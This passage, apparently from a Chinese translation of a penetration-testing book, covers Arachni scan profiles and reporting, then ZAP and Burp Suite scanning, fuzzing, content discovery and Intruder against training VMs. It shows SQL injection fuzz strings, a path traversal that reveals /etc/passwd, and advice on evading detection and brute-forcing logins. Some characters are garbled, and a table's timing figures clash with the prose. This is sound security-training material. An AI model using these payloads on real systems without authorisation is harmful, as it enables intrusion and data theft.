**按钮,然后就可以开始了!如果遇到问题,顶部中心的错误框将引导您找到问题所在,并告诉您在接受配置文件之前必须进行哪些修改。
启动我们的自定义扫描
制作完自定义配置文件后,我们可以调用它、安排它,或者将其放在安全的地方。要运行扫描,只需启动扫描,并在**要使用的配置文件
字段中选择LAMP 配置文件
****Â (全局)
**(或者您使用的任何名称),如下图所示。我们可以控制实例的数量,如何分配工作负载(直接到运行一个或多个实例的本地计算机,到远程服务器,或者使用计算机网格),如果需要的话可以安排它。在这里,我们现在只运行两个实例,看看它的表现如何。
使用自定义配置文件运行扫描很简单。
在扫描运行时,我们可以观察摘要,看看我们的自定义配置文件效果如何。如下图所示,我们的扫描已经远远超出了默认配置文件所见的范围,发现了更多页面,尝试了更多请求,并在保持低调的同时获得了更好的覆盖范围。这导致了更长的完成时间,但自动化应该允许我们在处理其他事情时进行快速扫描。
我建议您在自己的工作流程中找到可以启动自动任务的地方,同时在个人工作中进行更费力的工作,例如 Maltego 图构建、社会工程或后续任务的设置。
LAMP 配置文件速度较慢,但揭示了更多内容,并对目标服务器的负担较低。
审查结果
我们定制扫描的结果是,我们看到了 34 个问题,而不是之前广泛扫描中识别的 29 个问题,但我们的扫描时间是 28 分钟,而不是 34 秒。我们还发现了超过 90 页,而不是 27 页(其中一些是由于我们的用户输入),并且请求速率远低于默认值,因此保护了 DVWA 免受小规模拒绝服务(DoS)的影响,并且在任何可能到来的防御措施下保持低调。Arachni 会一直保存扫描结果,直到空间用完或者我们告诉它删除结果,因此我们将始终有两者进行比较和对比。在实践中,我建议在风险可接受时运行单个目标扫描,并在工作的更隐秘阶段运行较小的子扫描。
以下是这些结果的摘要:
 | LAMP 配置文件 | 默认配置文件 |
---|---|---|
完成时间 | 38 分钟 | 36 秒 |
找到的页面 | 90 | 27 |
高严重性 | 3 | 0 |
中等严重性 | 8 | 7 |
低严重性 | 6 | 6 |
信息性 | 17 | 16 |
总问题 | 34 | 29 |
报告可以以多种有用的格式导出,包括 HTML、JSON、XML、Marshal、YAMR 和 AFR。与所有其他报告一样,HTML 报告数据丰富,几乎可以直接呈现,如下图所示:
Arachni 的报告格式已经准备就绪,是构建客户交付成果的绝佳起点。
对于更技术性的客户,提供后续或即时行动(见下图)是有帮助的。作为渗透测试人员,如果您不仅能够识别问题,还能够基于最佳实践提出建议,帮助客户的目标网络得到纠正并变得更加安全,那么您的价值将会更大。
详细的漏洞信息可以帮助快速教育客户或设置下一阶段。
摘要
有效的渗透测试取决于许多因素,但最好的结果来自于一组经过良好教育的扫描,既可以教育又可以为测试的后期阶段做好准备。正如最近的事件和持续的头条新闻所证明的那样,攻击者可以利用的向量数量和种类令人震惊。这些潜在漏洞的数量和重要性要求全面的测试套件,可以自动化扫描,并帮助我们快速确定目标的风险暴露。几乎同样重要的是能够处理大量的原始数据,并将其转化为可操作的情报。
Arachni 在提供这些扫描方面是一个很棒的工具,作为额外的奖励,您可以构建我们详细报告或可交付成果的基础。因为 Arachni 是一个开源且可扩展的产品,它得到了社区的良好支持,并提供了一个 Ruby 框架,任何人都可以在其上添加自己的扩展或插件。Arachni 有成千上万的选项,但希望我们在配置文件生成器中的深入研究能够为您提供一些关于如何更好地使用 Arachni 和其他辅助工具(如浏览器或 nmap)来高效地勘察目标系统的见解。Arachni 调查目标漏洞的深度使其能够详细地发现潜在的向量,这与许多商业替代品相媲美甚至超出了许多商业替代品。
在本章中,我们讨论了如何扩展 Arachni 的部署方式,以及如何调整扫描配置文件以揭示更多信息并保持低调的技巧。我们看了如何更好地对目标进行配置文件,定制扫描行为,并加载并专注于测试的 Recon 阶段获得的目标属性。我们还看到这些调整在深入页面发现和漏洞识别方面取得了长足的进展。报告元素也简要讨论了;如果有的话,这个领域充满了可能性,根据您的工作流程,您的流程将大大加速报告生成,并支持长期持续改进,我们都希望这成为 SDLC 中的标准。
在下一章中,我们将介绍另外两个与 Arachni 有重叠的工具,但可以将渗透测试进一步延伸到 Kill Chain–Burp Suite和OWASP ZAP。这些工具复制了 Arachni 的一些功能,但也可以利用我们在这里学到的知识来开始实际利用这些漏洞并确认影响。在看到 DVWA 需要担心什么之后,我相信我们会看到一些有趣的结果!
第五章:使用 OWASP ZAP 和 Burp Suite 进行代理操作
Web 服务器和应用程序比大多数其他企业应用程序更容易暴露在互联网上:它们必须可用并为最终客户提供服务。因此,防御者已经被教导将用户流量(浏览网站,与动态内容交互等)视为正常,只要它遵循行为规范。他们的防御将专注于广泛的交互,同时让正常用户活动的缓慢渗漏。有效的渗透测试人员将尽可能模仿这种行为,以在启动后更具侵入性的 Kill Chain 的阶段之前尽可能多地了解他们的目标。
正如我们在第四章中指出的,使用 Arachni 进行漏洞扫描,专门的扫描工具可能是一把双刃剑。首先,大多数扫描器,包括 Arachni 在内,专门通过被动和主动手段寻找漏洞。这两种方法都有帮助,但正如您可能很清楚的,它们会以时间成本和主动扫描的隐蔽性为代价。除了资源需求和所需的时间之外,我们还必须考虑我们自己的工作流程与所需的隐蔽级别。可以获得重要的情报,但如果配置文件的调整不精确,您就有可能警告目标的操作人员并被发现。在职业早期的渗透测试人员经常会释放 Nmap 扫描或其他主动侦察工具,然后发现他们的噪音破坏了他们进一步前进的机会。
以扫描为重点的工具还需要将发现转化为后期操作,并且它们在检测能力上也存在漏洞。大多数扫描工具不会代表您采取行动。这些警告可能在白盒测试场景中是可以接受的,在这种场景中,您可以毫无顾忌地测试 Web 应用程序,而不必担心被发现。在黑盒场景中,渗透测试更有可能由红队(作为外部攻击者)进行,更需要更精确的手术技术。你们中的许多人可能已经注意到,大多数扫描或蜘蛛工具存在盲点,特别是在遇到 JavaScript 或 Ajax 等新内容交付范式时,这些范式动态创建内容而不是依赖存储的 HTML。对于这些情况和许多其他情况,我们都有必要在您的武器库中拥有一两个备用工具集。
基于代理的工具为我们提供了一个补充工具,不仅可以进行扫描,还可以在同一个工具中进行漏洞利用和访问。这些产品充当客户端(浏览器)和服务器端(Web 层)元素之间的代理。通过坐在这个关键链接的中间,我们能够搜索两侧之间的消息流量,并观察甚至修改和攻击。代理工具的额外好处是允许我们在通过一些验证后修改请求,这样我们就可以规避应用程序可能存在的一些基本 JavaScript 和 HTML 限制。
您可能已经在您的武器库中使用了其中一些工具;毫无疑问,市场上充斥着开源和商业替代品。我们在本章中的目标将是进一步研究 Kali Linux 附带的两种最受欢迎的替代品——Burp Suite(portswigger.net/
)和 OWASP 自己的Zed Attack Proxy(ZAP)。这两个工具都可以免费使用,但我们还将看到 Burp Suite 专业版可以为混合增加多少。我希望我们将涵盖一些更高级的技术,以利用这些基于代理的工具,然后您可以使用这些技术来改进您自己的流程,提供更好的结果,并更有效地帮助您的客户保护安全。
牢记这些高层次的目标,在本章中,我们将涵盖以下内容:
-
对比两个主要代理工具 Burp Suite 和 OWASP ZAP(以前称为 zaproxy)与 Paros 之间的差异
-
深入使用 Burp 的代理和扫描器以及 ZAP 来确定和检测 OWASP 十大漏洞
-
学习如何利用 Burp 的主动工具来枚举信息和利用漏洞
-
通过模糊化和 Burp Repeater 测试访问控制和会话管理
-
使用 Burp Suite 揭示和利用注入漏洞、输入验证和应用程序逻辑漏洞
使用 ZAP 拉开帷幕
学习 OWASP 的工具套件非常值得——它们的平台无关方法意味着您可以随时随地使用这些工具,而不必担心您所在的操作系统是哪个。幸运的是,Kali 默认捆绑了它。对于我们测试人员来说,更有帮助的是 OWASP 在 Web 应用程序安全领域的领导地位。他们的见解和指导都会融入 ZAP 工具的每一次迭代中(www.owasp.org/index.php/ZAP
),因此我们可以确信我们正在获得最前沿的漏洞和利用信息,这些信息会随着发现而被纳入工具中。
与 Kali 中的任何工具一样,您可能已经在学习或工作中使用过 ZAP,但有一些高级技术可以用来改进 ZAP 在您的工具集中的覆盖范围和效果。ZAP 可以主动扫描目标(这是他们“快速启动”选项卡使用的方法),也可以用作代理工具来捕获、迭代和模糊化站点。
ZAP 的代理功能扫描可以通过其“工具”菜单进行扩展,以进行应用程序扫描、蜘蛛爬行或模糊化。ZAP 充当 Web 代理,通常位于测试人员浏览器的同一主机上。以下屏幕截图显示了 ZAP 如何适应架构:
OWASP 的 ZAP 是我们的中间人,可以减慢并重放服务器-客户端交互。
虽然大多数网络应用程序黑盒场景可以通过在同一主机上部署我们的代理中间人来解决,但应该注意,随着物联网的出现以及使用网络应用程序为这些设备提供服务的趋势,我们可以使用 ZAP 或 Burp 以代理模式进行代理,其中客户端实际上是嵌入式智能设备上的 Web 客户端(例如电视、摄像头、恒温器、SCADA 传感器、泵或电机等)。一些公司预测到 2020 年,互联网将连接 500 亿台设备,尽管最初被认为是过于热衷,但实际上可能相当保守。考虑到有多少制造商似乎在保护它们方面运气不佳(例如Mirai 僵尸网络),在机会出现时考虑这种用例是值得的。黑客们绝不是创业家!
快速回顾启动 ZAP 扫描
在我们深入了解 ZAP 的更高级功能之前,让我们快速建立一个基线项目,并使用持久项目(在会话之间保存数据)。假设您已经配置了浏览器将代理指向 ZAP(我的配置为localhost:8080
),我们将针对Mutillidae
应用程序进行目标设置,该应用程序类似于DVWA
,但提供了更深入的功能,位于http://172.16.30.129/mutillidae/
。我还配置了我的客户端信任来自 ZAP 的证书,以确保我在 SSL/TLS 方面没有问题,尽管在这种测试场景中不太可能出现问题。
OWASP Broken Web Application VM 上有大量的培训和存档应用程序,包括DVWA、WebGoat、Multillidae等。如果您下次旅行时只能在 Kali VM 旁边运行一个应用程序,那么这将是最好的选择。对于更专注的测试,我建议在www.vulnhub.com/
上找到最新的易受攻击的虚拟机。
使用 ZAP 积极行动
如果我们想运行主动扫描,我们可以简单地在 URL 中输入 DVWA 的地址来攻击应用程序,然后点击**Attack
**。许多人使用这个功能,但了解扫描可以帮助您更好地使用工具,并选择正确的功能组合。
快速扫描揭示了大量的向量,但其中最紧迫的是那些讨厌的密码。
站点面板绘制了网站,显示文件和目录结构,如前面的屏幕截图所示。在下面的窗口中,我们会注意到**Alerts
根据它们的类型进行分组,ZAP 使得进入后续操作变得非常容易。我们可以看到每个 URL 对应的不同颜色的标志,表示相关漏洞的关注级别,以及一个蜘蛛符号,表示它是通过自动Spider
**功能学习到的。当我们通过浏览器访问这些位置时,随着与网站的交互,蜘蛛将消失,我们将获得更高的准确性。扫描可以节省时间,但自动蜘蛛,就像任何主动技术一样,往往是一种粗糙的工具,而不是一个精细调校的仪器。如果您已经对您要寻找的内容有一些想法,将这些扫描集中在目标的较小部分上将会在隐蔽性方面产生回报。
无论哪种情况,我们在 Mutillidae 中看到的基于 Web 的安全问题比 BWA 镜像上的其他应用程序更多,其中最严重的之一是路径遍历问题,似乎允许我们暴露/etc/passwd/
的内容。我们可以使用上下文菜单来突出显示并阅读有关漏洞的信息,甚至可以在浏览器中启动标记的 URL,如下面的屏幕截图所示:
哦,我们需要和客户谈谈一些密码的事情 - 在测试结束后。
正如我们所看到的,这些密码信息的宝库只需付出最小的努力就能获得,这并不总是情况(但我们可以希望),但 ZAP 提供的每一个警报都提供了一个我们在渗透测试中应该追求的线索。
被动 ZAP 扫描
被动扫描是一种非侵入性的方式,我们可以通过它来绘制和了解网站的结构以及与之交互的代码。被动扫描不允许对 HTTP 消息进行内联修改,但对未修改的标头和内容进行全面检查,使 ZAP 能够提供洞察力。它将构建警报和标记,就像它们是通过主动扫描生成的一样。
Passive scanning only has two configuration areas:
- 第一个重点是扫描引擎的敏感性。我们可以访问**
Passive Scan Rules
屏幕,如下面的屏幕截图所示,并选择Off
、Low
、Medium
或High
来改变对每种漏洞类型警报的阈值。Off
禁用扫描和警报,Low
提供最高级别的敏感性,而High
**只关注最明显的漏洞来标记。
根据我们的需要,被动扫描可以省略或审查各种测试类型。
- 被动扫描的第二个配置区域是我们能够根据特定的正则表达式或标头信息进行标记,如下面的屏幕截图所示。这对我们有什么用呢?当我们对特定页面上要寻找的内容有一些想法时,我们可以创建自定义标记,让 ZAP 能够识别我们想要的模式。ZAP 中密码的默认标记模式可能对密码来说效果很好,但是当我们发现目标通过用密码短语或秘密替换字段名称时呢?这种标记定制也可以用来获取其他有趣的信息,这也是我们有充分理由复习我们的正则表达式或regex语法。
可以添加或修改标签,以帮助我们发现目标的秘密。
用 ZAP 进行模糊测试
ZAP 有能力修改或模糊请求发送到 Web 应用程序,这对于测试输入验证、应用程序逻辑、多种注入漏洞和错误处理非常有用。模糊攻击为原本繁琐、费力和迭代的测试添加了一些自动化,重点关注请求处理中的错误。内置的模糊测试负载相当简单,但可以通过使用附加组件甚至自定义脚本进行扩展。在 ZAP 上提高模糊测试技能的一个很好的资源是OWASP 的 OTG 附录 C,位于www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors
。我们可以通过右键单击**Alert
、History
或Request
**条目来启动模糊测试操作,几乎可以在 ZAP 的任何地方进行,就像我们再次访问 Mutillidae 网站时所看到的那样(该应用程序正在受到严重滥用!)。您的目标应该是寻找任何蜘蛛结果或浏览操作,导致客户端和服务器之间传递变量的请求或响应,并寻找测试接受限制的机会。在这种情况下,我们认为我们可能有机会攻击登录应用程序并测试一些 SQL 注入/输入验证漏洞。
在 ZAP 中,几乎可以从任何地方开始进行模糊攻击。
然后,我们可以选择一个字段进行模糊测试,并添加我们想要部署的负载的位置(Mutillidae 在其练习模式中指出了几个测试向量,因此我建议尝试其他向量)。
要了解 OWASP 的 Mutillidae Web 应用程序提供的多种漏洞,您可以阅读 SANS 指南,该指南解释了该应用程序的起源、目的和内部工作,网址为www.sans.org/reading-room/whitepapers/application/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-34380
。
首先,我们将使用JBroFuzz附加组件提供文件模糊测试器,这意味着 JBroFuzz 将提供各种类别的列表进行尝试。密码、目录和用户名列表很常见,但各种 SQL 查询的有用字符串也很常见。这些步骤显示在下面的截图中。在测试强大的 Web 应用程序时,还可以测试常见的浏览器 URI 和 HTTP 版本,以查看是否存在可以迫使降级姿态的点,以便应用程序可以适应您过时的浏览器或操作系统。
配置模糊测试负载是一个简单的过程。
根据您勾选的框和突出显示的字段,您会发现 ZAP 开始对页面或字段进行详尽测试。在**Fuzzer
选项卡中,您会注意到所有的结果。如果您看到感兴趣的结果,务必右键单击它并尝试在浏览器中启动它。我们在这里寻找的是差异。为什么在下面的截图中,输入41
导致302
**响应和更大的字节计数?看起来模糊测试过程导致了该测试字符串的不同结果。
模糊测试结果迅速引起我们对一小组字符串的注意。
在右上角面板中,您可以查看标题和正文代码或信息,正如我们在下图中所看到的,我们可以记录一些有趣的差异以供将来测试和分析。我们可以看到左侧似乎无害的有效负载1 exec sp_(或 exec xp_)
的结果,以及右侧传递有效负载â�� or username is not NULL or username = â��
的结果。
模糊测试结果迅速将我们的注意力集中在一小组字符串上。
正如我们现在所看到的,这似乎表明右侧有效负载的某些部分找到了不同的响应–这些应用程序的漏洞可能是我们需要获取立足点并危害我们的目标。一旦您对感兴趣的任何字段进行了模糊测试,通常会对字段的组合进行模糊测试,以进行简单基于凭据的身份验证的暴力攻击。OWASP 的 ZAP 肯定也可以帮助进行这些后续测试。类似的功能也可以在其他 Kali 捆绑测试工具集中找到,如w3af、WebScarab和古老的经典工具Paros。作为渗透测试人员,花时间了解至少其中几个是值得的。
使用 Burp Suite 提升到一个新的水平
OWASP ZAP 是一个很棒的开源代理扫描和模糊测试工具的介绍。也就是说,大多数测试人员已经发现,需要额外的工具来完成完整的测试,原因是需要覆盖更多的输入向量,覆盖 Flash 和 Webservice 漏洞等其他内容类型,并自动化更多的报告和审计流程。可以在SecToolMarket.com(www.sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
)了解更多关于许多工具集的信息。与外部工具集协调以完成小型渗透测试以上的工作是不值得的。许多新的基于代理的动态应用安全测试(DAST)框架应运而生。这些解决方案从免费到极其昂贵不等,可能被大型企业或他们雇佣的渗透测试人员使用。许多这些平台可以在 Linux、Windows 甚至 Mac OS 上运行。
Kali Linux 方便地捆绑了 Linux 领域领先工具的免费版本;Burp Suite(portswigger.net/burp/
)由Daffyd Studdard创建,并由他的公司PortSwigger维护。Burp Suite 的架构包括其他工具集的代理和模糊测试功能,但通过内置工具扩展了这些功能,更完全地扫描、模糊测试和与目标环境交互。Burp Suite 可以比较站点地图并自动化许多其他对于 ZAP、w3af 和其他 Kali 捆绑工具来说是手动的任务,并且几乎涵盖了整个 OWASP OTG。我们将在后面详细讨论的一些这些工具在免费版本中要么被禁用要么受到限制,如下图所示。我强烈建议购买 Burp Suite Pro 订阅(截至撰写本文时每年 349 美元每用户),因为在这个价格下,您将获得频繁的更新、出色的支持,并且是市场上成本最低的网络渗透测试工具之一,并且您可以根据需要在 Kali(或其他形式的 Linux)、Windows 和 Mac OS 上使用它。
Burp Suite 免费版和专业版的比较。
了解 Burp Suite 旨在支持的用户驱动工作流程有助于测试人员理解各版本之间的区别,并决定 Burp Suite 将如何支持他们自己的定制流程。
以下屏幕截图改编自位于portswigger.net/burp/help/suite_usingburp.html
的图表,但在此处更清楚地概述了专业版添加的部分:
Burp Suite 的架构支持完整的渗透测试工作流程。
不要担心前面的部分,我们将快速回顾代理和蜘蛛的设置和配置,然后迅速进入 Burp 提供的更高级功能,这些功能可以在整个渗透测试过程中提供自动化。
使用 Burp Suite 进行侦察
与任何代理工具一样,我们需要配置浏览器的设置以使用适当的 IP 地址和端口号(通常使用 IP 地址127.0.0.1
和端口8080
)。幸运的是,相同的配置对 ZAP 和 Burp 都适用,除非您打算链接代理。如果您需要通过多个工具传递流量或使用外部代理,则可能需要这样做,有关如何在图片中使用 Burp 进行此操作的详细信息,请参阅portswigger.net/burp/help/options_connections.html
。OWASP Broken Web Application Virtual Machine(BWA VM)包括多个用于测试和培训的应用程序,我们只想专注于 OWASP Mutillidae 应用程序,该应用程序为我们的实践提供了丰富的素材。
保持目标!
您可能已经知道,开始侦察的推荐方法是首先手动映射目标,关闭代理的拦截功能。当我们点击各种页面并在表单中提交无意义的内容时,我们将填充**目标
选项卡的站点地图
子选项卡。在这里对任何感兴趣的域或 IP 地址右键单击,可以将主机添加到我们分析的范围内。我们还可以手动将目标添加到目标范围
**(查看下面的屏幕截图),但这两种方法都让我们有机会将分析重点放在应用程序上,如绿色框中所示–在范围内定义的任何内容,您需要了解 Burp 将为您攻击!您还可以从范围中省略某些类型的内容(在红框内),但在这种情况下,我们将保留默认设置。
这些默认设置将确保我们不会浪费时间查看注销页面。
目标范围是巨大的生产力增强。
为什么我们要费这么大的劲?自动化工具需要一些帮助。如果您没有任何限制地释放它们,您可能会面临不必要的流量破坏目标或对您的任务范围之外的站点造成附带损害的风险–这两种情况都对业务不利!手动映射类似于一次漫步,它使您和您的团队更好地了解可能正在使用的技术以及站点工作流程对用户交互的影响。我们需要在前期更好地回答一些问题,以确保后期获得更相关的结果。站点试图引导用户去哪里?提供了哪些服务?我们可以标记哪些表单以进行更深入的分析?您明白了,并且可能在自己的工作中获得了这方面的理解。Burp Suite 也需要理解这一点,以更有效地代表您进行操作。
当您接近被动和手动映射的结束时,您可以从 Burp 中获得一些帮助来完成探索。目标
选项卡和站点地图
子选项卡中的灰色站点是已经了解但尚未访问的链接,因此如果您认为访问它们可能会有所收获,那就尽管去做吧!您还可以激活内容发现
,让 Burp 尝试发现可能已经断开链接或不再活跃但仍存储在服务器上的目录、模板或其他潜在隐藏的文件和文件夹。只需右键单击主机,选择**参与工具
,然后发现内容
**,如下所示:
内容发现可以帮助找到隐藏或被遗忘的内容。
一旦您启动了**内容发现
**,您就有机会选择用于自动发现操作的内置或自定义单词列表(请参阅下图)。内容发现实际上是一种特殊的蜘蛛功能,其目的是寻找未链接的页面和文件夹,而蜘蛛会专注于跟踪所有链接,直到网站被完全映射。在这里,我们可以决定是否遵守大小写敏感性(这会增加完全枚举所有可能性的操作次数)。我们还可以指定感兴趣的文件类型和扩展名,要使用的线程和连接数,甚至是否希望 Burp 的内容发现从这些隐藏的工件中蜘蛛出来,并深入到这些链接可能指向的任何内容。
我强烈建议在 Burp 中使用注释功能。内容窗口中任何发现的最左侧字段都可以使用下拉菜单进行颜色编码,您还可以双击添加评论。在处理复杂目标或作为团队的一部分时,这些工具可以帮助您保持组织,避免不必要的重复工作。
调整内容发现的选项。
内容发现
工具将会全面测试所有潜在未开发或隐藏的内容,满足您设定的标准(参见下图),您可以在**内容发现
对话框的站点地图
**子选项卡中查看这些内容。
我建议您在任何机会都使用过滤器。特别是站点地图,它是将您的信息减少到只有您感兴趣的内容的绝佳工具。只需点击**过滤器:
**对话框,并调整设置以确保过滤掉所有非必要的信息。
内容发现有助于完成站点地图。
使用代理进行特定设置
现在,我们准备开始使用更自动化的工具。您可能更喜欢首先激活代理拦截或进入Burp Spider,但我倾向于首先使用Burp Proxy,避免使用蜘蛛,除非这是一个白盒测试,客户期望我们这样做。在目标阶段进行被动和手动映射后,代理应该能够帮助我们集中精力解决我们已经标记为目标软点的应用程序领域。只需在**代理
选项卡的拦截
**子选项卡中切换到拦截已开启即可激活代理。
当你浏览网站时,**Proxy
会拦截这些请求,并允许你更改任何字段以供你自己使用。这可能非常费力,所以一定要将这种亲自操作的过程限制在你认为需要人工干预的应用程序部分,或者作为熟悉自己的手段。一旦你认为需要进一步分析或调查,右键单击代理的HTTP history
标签(查看下面的截图),并将表单或 URL 交给 Burp Suite 中的另一个工具,以更好地利用你的时间。例如,如果你需要尝试多次修改表单,Burp Repeater可以提供这个功能,并同时跟踪多个这样的请求。如果你想发起自动攻击,Burp Intruder 可以代表你处理这些攻击。Sequencer
和Comparer
**也可以在这里启动。
Burp Suite 使得从代理分析转移变得容易。
使用 Spider 进行主动操作
Burp Spider是一个快速方便的工具,但我建议谨慎使用。Spidering 可以帮助加快任何渗透测试过程,但该工具的作者建议仅在非常庞大的应用程序的部分或时间紧迫且风险被时间表所抵消的情况下使用。也就是说,了解并掌握这个工具是非常值得的,以备不时之需。好消息是,我们都有足够的时间来掌握它。
Spider 的配置位于一个选项卡上(查看下面的截图),并且让我们可以访问一些设置,这些设置可以帮助我们限制这个喧闹工具对我们目标的影响,自动生成填充数据,尝试登录,并传递特殊的浏览器请求头。我建议不要更改的一个设置是**Passive Spidering
设置。取消选中Passively spider as you browse
框会阻止 Burp 在你使用套件中的其他工具时自动识别链接和内容。假设你已经将所有设置调整到你喜欢的状态,你可以在Control
**选项卡中启动主动的 Spidering 会话。
Spidering 设置很有用,但除非你确定,否则不要碰被动设置!
Burp 的**Target
、Spider
和Proxy
**工具都提供了目标的出色侦察,并为我们提供了一个整合的站点地图和潜在漏洞的目录,供我们调查。尽管站点地图和问题的有序列表可以帮助我们在测试的后期阶段,但你无法测试你看不到或不知道存在的东西!现在你已经收集了所有这些信息,你可能想对它们做些什么。
激活 Burp Suite
Burp Suite 对我们来说如此宝贵的原因在于,我们可以快速从侦察阶段转入测试的利用阶段,这样我们就可以验证我们的发现,而不必手动协调外部工具。在这一部分,我们将看到 Burp 的**Scanner
、Intruder
、Repeater
和Sequencer
**如何帮助我们深入挖掘漏洞的工作列表,并帮助我们确定对我们目标的损害(或潜在的损害)。一些渗透测试方法的问题在于,开发这些方法的人认为更多的工具意味着更好的结果。然而,我认识的一些有多年经验的同行发现,他们在较小的公司或团队中使用完全集成的工具套件时,能够获得更广泛的覆盖、更一致的报告,以及更少的错误和痛苦。你的情况可能有所不同,但在已经存在集成工具集的情况下,集成和操作一系列工具可能更适合较大的渗透测试团队。
本节中的四种工具几乎可以从 Burp 的任何站点地图或菜单中启动,很可能您以前已经使用过 Intruder 和 Repeater。我们将在这里对它们进行审查,并提出一些建议,以便为您的测试部署它们的最佳方式。请记住,一些特定攻击向量(如 SQL 注入、跨站脚本和请求伪造等)的有趣细节将在后面专门章节中进行讨论,Burp Suite 将作为我们用来追踪它们的工具之一。
寻找生命(或漏洞)
代理和蜘蛛有助于构建站点地图,但是用于测试页面、表单等是否存在漏洞的工具是什么呢?最广泛的工具是 Burp Scanner。毫无疑问——扫描器可以起到非常积极的作用,并在其主动模式下对目标发起攻击。因此,请确保您已经缩小了范围,并且清楚地知道您正在释放 Burp Scanner 去执行的确切主机,尤其是在使用主动扫描功能时。我相信正是因为这些深远的影响,扫描器才被保留给专业许可证用户。
如果您没有使用 Burp Suite 专业版,我仍然建议您了解扫描器提供的功能和价值,以帮助证明其费用的合理性;但至少,它可以为您提供一个衡量您选择的扫描替代方案的标准,无论是 Accunetix、w3af、ZAP 还是其他工具。
值得一提的是,不可能在一本书中涵盖所有的替代方案并且仍然能够制作出一本有用的书。渗透测试,就像任何其他技术领域一样,针对同一个问题有多种解决方案;并且与其他领域一样,所选的工具和方法将根据用户的背景和能力以及工作的要求而有所不同。我鼓励您深入研究这里讨论的工具,并根据自己的需求考虑其他选择。
对进行定期渗透测试的同事进行的快速调查显示,虽然许多人使用 Burp Suite 和扫描器,但大多数人并没有停下来思考每个工具在整个方案中的作用。简单回顾一下:扫描器通过获取在侦察阶段观察到的缓存请求,并修改它们以测试底层代码中可能存在的漏洞。通过表现行为,扫描器可以验证漏洞的存在或不存在。在这些操作过程中,目标很可能会受到影响,因此我们必须获得许可,了解影响,并采取措施警告客户并保护服务器,以防测试对其姿态产生不利影响。
Burp 的扫描器工具也与市场上的其他工具不同,因为这些扫描器通常同时爬行和扫描,而 Burp 扫描器提供了两种不同的模式:
-
被动模式:扫描器通常在被动模式下在后台工作,观察我们生成的流量,并实时评估请求和响应。这有什么好处呢?首先,它允许我们驱动扫描并与应用程序进行交互,当需要对话(凭据、表单输入等)时,它可以进一步进入应用程序的内部。其次,它不需要我们做任何工作——只需通过浏览器进行交互即可启动被动扫描模式。
-
主动模式:在主动模式下,扫描器可以在您浏览网站时进行实时主动扫描,并可以通过上下文菜单手动启动,通过向导进行一些配置后,对页面或应用程序的分支进行漏洞追踪。
我们还应该注意,扫描器能够测试服务器端和客户端代码的已知漏洞;这非常有用,因为它允许我们向客户提供全面的报告,帮助他们全面了解应用程序的性能。
Scanner 的功能有三个关键原因使 Burp 与其他 DAST 工具有所不同:
-
其他工具对服务器端漏洞的准确性可能会低得多,因为许多这些错误局限于服务器端环境,并且不会反映在客户端上,从而避免了测试人员的检测。
-
Scanner 还专注于测试它有权威实际测试的漏洞,因此那些最多在这里被错误发现的漏洞被省略,以确保 Burp 的输出是可信的,没有误报。
-
扫描器可以快速地允许切换到套件中的其他工具(无需配置或传输数据),因此总是有另一条路径可用。
现在我们了解了扫描器的优势和我们的责任,让我们更有效地使用它。
被动扫描是一个不费脑筋的选择。
很可能您在自己的工作中一直在使用扫描器的这个功能,但以防它被关闭或配置错误,我们可以首先检查被动扫描是否已打开,方法是访问**Scanner
选项卡的Live scanning
**子选项卡,如下图所示:
被动扫描配置为扫描所有流量。
选择被动模式**Scanner
扫描的流量方面,您可以访问Options
**子选项卡,并打开或关闭十一个类别,如下截图所示。我建议除非某个类别超出范围,否则都保持选中。被动扫描仅在您访问和交互的页面上实施,并且几乎没有风险会导致附带损害的扫描结果。
被动扫描可以观察到大部分有趣的流量区域。
如下截图所示,被动扫描捕获了几个潜在的漏洞,并提供了问题的解释和潜在的补救步骤,以及原始请求和相应的响应信息,包括标头、任何相关的 HTML 或 XML 等。对于一个免费的扫描来说,这并不算太糟糕,而且不需要额外的时间要求或资源!
Scanner 的结果是描述性和完整的,并提供了补救步骤。
主动扫描——谨慎使用!
如前所述,主动扫描是对目标的攻击。请确保您的目标、主动扫描和妥协的许可,并且了解如果发现意外或足够严重以至于需要立即向客户披露的情况下,您的道德和法律责任。
与被动扫描类似,您可以首先检查主动扫描是否已打开,方法是访问**Scanner
选项卡的Live Scanning
子选项卡。您可以选择停用它,使用目标范围运行,甚至使用自定义范围。然后,您可以在Options
**子选项卡上配置许多潜在的漏洞类型和引擎调整,如下截图所示:
主动扫描选项涵盖了引擎、优化和漏洞领域。
Active Scanning Areas
部分允许您取消漏洞类型,如果您已经在另一个工具集中涵盖了它们。您还可以选择事件的子集,集中在特定集合上(在白盒测试中很常见),或进行增量测试。
手动主动扫描可以遵循相同的路径,但是由我们发起,而不是自动进行,如下截图所示。这可能是最好的折中方案——拥有主动扫描的所有功能,但只针对明确的路径或页面。
手动主动扫描可以明确地专注于任何主机、页面或文件夹。
在两种主动扫描技术中,扫描将被添加到**扫描队列
子选项卡中;当您满意地排队了足够多的主动操作时,您可以选择尽可能多的扫描,右键单击,然后恢复扫描。扫描队列
子选项卡将报告所有进度(查看下面的截图),您将看到您的扫描器
**在对所有选定的页面进行迭代以完全确认这些页面上的任何漏洞时所需的大量资源需求。
对所有排队的操作进行主动扫描进度。
**扫描器
**的结果是我们的目的(如下图所示)。Burp 为我们提供了列表,每个列表都附有描述和后续操作。
主动扫描器的结果显示在我们的指尖上,包含所有相关信息。
入侵者的飞行
Burp Suite 还包括一些更专注的工具,其中 Intruder 是其中之一,它允许对字段操作进行严肃的自动化,这对注入尝试和暴力攻击等事情非常有用。Intruder是一种超级模糊器。当我们找到一个 HTTP 请求,看起来很适合进行任何这类攻击时,我们可以确定我们认为可以调整的字段(Burp 称它们为位置),然后要求 Intruder 对 Burp 称为有效负载的每个字段应用,这些有效负载可以来自预先构建的列表,也可以通过一些经过验证的算法生成。因为 Intruder 可以在多个位置上执行此操作,所以它对我们来说是一个巨大的时间节省者,并提供了详尽的测试覆盖。
入侵者的多功能性是一个巨大的帮助。它可以帮助我们揭示帐户名称(通常通过运行潜在列表并观察不同的响应)。入侵者还可以将这些技术应用于对每个帐户的各种字段进行迭代,例如地址、电话号码、社会安全号码、银行信息等,这些信息可能与用户的帐户或个人资料相关联。最后,为了确保我们充分利用了工具,入侵者还是一个用于漏洞搜索的全功能模糊器,例如注入攻击或输入验证问题。掌握入侵者的能力对我们自己的测试来说是一个巨大的增强力量,幸运的是,这是一个非常直接的工具。
停下来,列举并倾听!
